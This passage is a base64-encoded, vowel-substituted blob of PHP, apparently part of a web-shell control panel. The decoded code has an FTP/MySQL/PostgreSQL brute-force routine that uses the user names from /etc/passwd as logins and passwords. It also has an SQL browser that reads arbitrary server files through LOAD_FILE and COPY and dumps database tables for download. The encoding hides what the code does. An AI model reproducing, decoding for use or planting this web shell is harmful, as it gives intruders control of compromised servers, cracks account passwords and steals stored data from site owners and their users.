TsgDQogICAgICAgICAgICAgICAgQG15c3FsX2NsMnM1KCRyNXMpOyANCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7IA0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7IA0KICAgICAgICAgICAgICAgICRzdHIgPSAiaDJzdD0nIi4kNHAuIicgcDJydD0nIi4kcDJydC4iJyAzczVyPSciLiRsMmc0bi4iJyBwMXNzdzJyZD0nIi4kcDFzcy4iJyBkYm4xbTU9cDJzdGdyNXMiOyANCiAgICAgICAgICAgICAgICAkcjVzID0gQHBnX2Mybm41Y3QoJHN0cik7IA0KICAgICAgICAgICAgICAgIEBwZ19jbDJzNSgkcjVzKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgJHMzY2M1c3MgPSAwOyANCiAgICAgICAgJDF0dDVtcHRzID0gMDsgDQogICAgICAgICRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7IA0KICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7IA0KICAgICAgICAgICAgJHQ1bXAgPSBAZjRsNSgnLzV0Yy9wMXNzd2QnKTsgDQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkgDQogICAgICAgICAgICAgICAgZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSA1eHBsMmQ1KCI6IiwgJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICA0ZihAJF9QT1NUWydyNXY1cnM1J10pIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGw0bjVbMF1bJDRdOyANCiAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgeyANCiAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOyANCiAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkdDVtcCkgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7IA0KICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IHRyNG0oJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsgDQogICAgfSANCiAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj5UeXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48czVsNWN0IG4xbTU9cHIydDI+PDJwdDQybiB2MWwzNT1mdHA+RlRQPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1teXNxbD5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9cGdzcWw+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCiAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMSddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnY2gxcnM1dCddKS4nIj4nDQogICAgICAgIC4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zNXJ2NXIgdjFsMzU9IjZhNy4wLjAuNiI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcDFuPkJyM3Q1IHR5cDU8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9IjYiIGNoNWNrNWQ+IC81dGMvcDFzc3dkPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iYSI+IEQ0Y3Q0Mm4xcnk8L2wxYjVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48dDFibDUgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48dHI+PHRkPjxzcDFuPkwyZzRuPC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDJnNG4gdjFsMzU9InIyMnQiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsgDQogICAgNWNoMiAnPC9kNHY+PGJyPic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgeyANCiAgICBjbDFzcyBEYkNsMXNzIHsgDQogICAgICAgIHYxciAkdHlwNTsgDQogICAgICAgIHYxciAkbDRuazsgDQogICAgICAgIHYxciAkcjVzOyANCiAgICAgICAgZjNuY3Q0Mm4gRGJDbDFzcygkdHlwNSkgeyANCiAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkM3M1ciwgJHAxc3MsICRkYm4xbTUpeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7IA0KICAgICAgICAgICAgICAgICAgICA0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmIChAbXlzcWxfczVsNWN0X2RiKCRkYikpcjV0M3JuIHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gcTM1cnkoJHN0cikgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBmNXRjaCgpIHsgDQogICAgICAgICAgICAkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9mNXRjaF8xc3MyYygkcjVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGw0c3REYnMoKSB7IA0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5xMzVyeSgiU0hPVyBkMXQxYjFzNXMiKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoInM1bDVjdCB0MWJsNV9uMW01IGZyMm0gNG5mMnJtMXQ0Mm5fc2NoNW0xLnQxYmw1cyB3aDVyNSB0MWJsNV9zY2g1bTEgIT0gJzRuZjJybTF0NDJuX3NjaDVtMScgQU5EIHQxYmw1X3NjaDVtMSAhPSAncGdfYzF0MWwyZyciKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF81cnIycigpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19sMXN0XzVycjJyKCk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsgDQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7IA0KICAgICAgICAgICAgICAgICAgICAkcj0xcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICQ0WydmNGw1J107IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ2RyMnAgdDFibDUgd3MyYScpOyANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBkM21wKCR0MWJsNSwgJGZwID0gZjFsczUpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgICRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7IA0KICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zig0c19uM201cjRjKCR2KSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2OyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4iKSBWQUxVRVMgXG5cdCgiLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICI7XG5cbiIpOyA1bHM1IDVjaDIoIjtcblxuIik7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zID0gMXJyMXkoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21uc1tdID0gJGs7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgfTsgDQogICAgJGRiID0gbjV3IERiQ2wxc3MoJF9QT1NUWyd0eXA1J10pOyANCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7IA0KICAgICAgICAkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsgDQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOyANCiAgICAgICAgfSANCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7IA0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOyANCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOyANCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2KTsgDQogICAgICAgICAgICA1eDR0OyANCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7IA0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KSANCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7IA0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsgDQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIiANCiAgDQo8aDY+U3FsIGJyMndzNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+IA0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PVNxbD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0ncTM1cnknPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhIHYxbDM1PScnPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiInPiANCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOyANCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOyANCjVjaDIgIj5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J3Bnc3FsJyAiOyANCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7IA0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPiANCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2gyc3QgdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxf